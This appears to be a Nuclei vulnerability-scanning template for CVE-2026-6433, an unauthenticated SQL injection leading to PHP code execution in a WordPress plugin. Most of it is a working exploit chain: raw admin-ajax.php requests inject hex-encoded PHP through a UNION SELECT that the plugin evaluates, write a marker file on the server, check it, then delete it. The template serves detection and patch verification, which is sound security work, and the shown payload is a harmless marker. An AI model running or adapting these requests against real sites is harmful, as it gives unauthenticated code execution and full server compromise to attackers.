FlipperCode Custom CSS, JS & PHP <= 2.0.7 - Remote Code Execution

id: CVE-2026-6433

info:
  name: FlipperCode Custom CSS, JS & PHP <= 2.0.7 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    Custom css-js-php WordPress plugin through 2.0.7 contains a command injection caused by unsanitized user input used in SQL query and passed to eval(), letting unauthenticated attackers execute arbitrary PHP code on the server.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code on the server, leading to full server compromise.
  remediation: |
    Update to the latest version.
  reference:
    - https://wpscan.com/vulnerability/a0b1c059-e156-4402-ac8d-67f8ad7386cc/
    - https://github.com/murrez/CVE-2026-6433
    - https://patchstack.com/database/wordpress/plugin/custom-css-js-php/vulnerability/wordpress-custom-css-js-php-plugin-2-0-7-unauthenticated-sql-injection-to-rce-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2026-6433
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-6433
    epss-score: 0.00753
    epss-percentile: 0.50537
  metadata:
    verified: true
    max-request: 3
    vendor: flippercode
    product: custom-css-js-php
    framework: wordpress
    shodan-query: http.component:"WordPress"
  tags: cve,cve2026,wordpress,wp-plugin,sqli,rce,custom-css-js-php,unauth,intrusive,vkev

variables:
  filename: "{{rand_text_alpha(8)}}"
  marker: "{{rand_text_alpha(12)}}"

flow: |
  http(1) && http(2) && http(3);

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=fc_ajax_call&operation=wce_editor_inline_code&id=0+UNION+SELECT+1,'t','php',0x3c3f7068702066696c655f7075745f636f6e74656e74732827{{hex_encode(filename)}}2e747874272c27{{hex_encode(marker)}}27293b203f3e,'header','',0,1--+

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200 || status_code == 500"
        internal: true

  - raw:
      - |
        GET /wp-admin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}"

      - type: status
        status:
          - 200

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=fc_ajax_call&operation=wce_editor_inline_code&id=0+UNION+SELECT+1,'t','php',0x3c3f7068702040756e6c696e6b2827{{hex_encode(filename)}}2e74787427293b203f3e,'header','',0,1--+

    matchers:
      - type: dsl
        dsl:
          - "true"
        internal: true
# digest: 490a0046304402207afeff0fa3575ad7d4394ae3cbc16f67d58f0aa4df282b565b25b04cba7b6f1a022076996acea826bd8126551a1220cfd7e6f5abb0f7cffd96d51000174c60f496b3:922c64590222798bb761d5b6d8e72950